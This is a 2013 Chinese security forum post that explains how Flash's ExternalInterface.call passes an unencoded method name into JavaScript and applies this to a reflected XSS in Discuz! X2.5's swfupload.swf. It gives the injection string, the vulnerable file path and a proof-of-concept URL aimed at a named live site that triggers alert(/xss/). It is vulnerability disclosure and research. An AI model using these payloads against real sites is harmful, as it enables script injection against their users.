找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2092|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
. R/ j' c3 }' Q. ]: e- T
* i& p2 X* r3 R5 kflash.external.ExternalInterface.call($methodName, $parameter)0 i, H$ x" C; M; y2 g4 W
在浏览器中执行的是
$ Q% E+ K0 ]5 D
* I: T5 w8 S" y! Q/ \+ B9 Ktry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
- \5 c/ \9 z+ n5 V, X对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
. E+ E( j! c& M7 y& ?
, m! I, i& B, r; J" o4 C; `" Qflash.external.ExternalInterface.call("object."+$methodName, $parameter)+ P8 N# `& ~! [" c8 @
$methodName = a())}catch(e){alert(/xss/)}//
9 }8 t' U' }8 G0 a2 Y. W结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
! n6 ~# f; `& {1 F3 W8 S  ?# m$ \$ _6 u1 X9 r' v
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
7 ?! o5 D$ q% H1 o9 @( q
% Q6 C* C" l2 t) d& z5 Q, y4 w0 r$ j! n这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
8 M. {9 E7 }" z, Q! z杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
- s; ~! _) Z; w5 j( z" b; _7 s2 D$ l. h8 R3 _3 G5 H  @3 x! Y
: d! m. C. k" [

! j) W* x: h% e; t7 [/ I漏洞文件:upload\static\image\common\swfupload.swf
" P  p1 I% @1 Z- `+ n* V6 D6 N  K. u, _' v) T
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf5 n8 Q8 W, n' V2 A7 y: O/ h/ h" C

  \% P0 o5 G6 w) Y6 U. b+ G* }' t1 [1 J+ G7 C
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//- {$ g( {% x( d# k) u! K
& R" T1 t0 b0 G
* {! B- N' q" C& y7 Y3 K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表